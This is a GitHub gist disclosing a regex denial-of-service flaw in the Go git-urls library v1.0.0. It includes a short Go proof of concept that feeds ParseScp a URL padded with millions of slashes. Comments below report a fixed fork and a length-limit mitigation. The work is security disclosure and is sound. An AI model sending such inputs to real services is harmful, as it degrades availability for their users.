Skip to content

Instantly share code, notes, and snippets.

@6en6ar
Last active December 5, 2023 17:12
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save 6en6ar/7c2424c93e7fbf2b6fc44e7fb9acb95d to your computer and use it in GitHub Desktop.
Save 6en6ar/7c2424c93e7fbf2b6fc44e7fb9acb95d to your computer and use it in GitHub Desktop.
Security issue in regex inside git-urls package
[NAME OF AFFECTED PRODUCT(S)]
- https://pkg.go.dev/github.com/whilp/git-urls v1.0.0
[AFFECTED AND/OR FIXED VERSION(S)]
- v1.0.0
- Status: not fixed
[VULNERABILITY]
- Regex Denial of Service
[DESCRIPTION]
The regex on line 35. inside urls.go is vulnerable to regex denial of service when a long input is provided inside
directory path of the git url.
It is possible to cause a 7s delay but only because the payload in the url was to long. Here is the PoC:
var payload = strings.Repeat("////", 19000000) //payload used, the number can be tweaked to cause 7 second delay
malicious_url := "6en6ar@-:0////" + payload + "\"
begin := time.Now()
//u, err := giturls.ParseScp("remote_username@10.10.0.2:/remote/directory")// normal git url
_, err := giturls.ParseScp(malicious_url)
if err != nil {
fmt.Errorf("[ - ] Error ->" + err.Error())
}
//fmt.Println("[ + ] Url --> " + u.Host)
elapse := time.Since(begin)
fmt.Printf("Function took %s", elapse)
This vulnerbale regex causes the application to take longer time in parsing the input.
@makkes
Copy link

makkes commented Nov 28, 2023

There is no version 1.0.1 of the git-urls library.

@6en6ar
Copy link
Author

6en6ar commented Nov 28, 2023

Thanks for noticing. I updated the version in the description.

@hectorj2f
Copy link

@makkes We've moved the repo to our organization and fixed the current issue. Please, check https://github.com/chainguard-dev/git-urls.

@makkes
Copy link

makkes commented Dec 5, 2023

Thanks for the heads-up, @hectorj2f! Is the goal to keep maintaining the lib there or just as long as a fix version hasn't been released upstream?

As a side note, we fixed it in Flux by limiting the URL string we pass to git-urls to a 2048 bytes.

@hectorj2f
Copy link

Yes, we'll keep maintaining our copy independently of what upstream repo does. It currently looks unmaintained for the moment.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment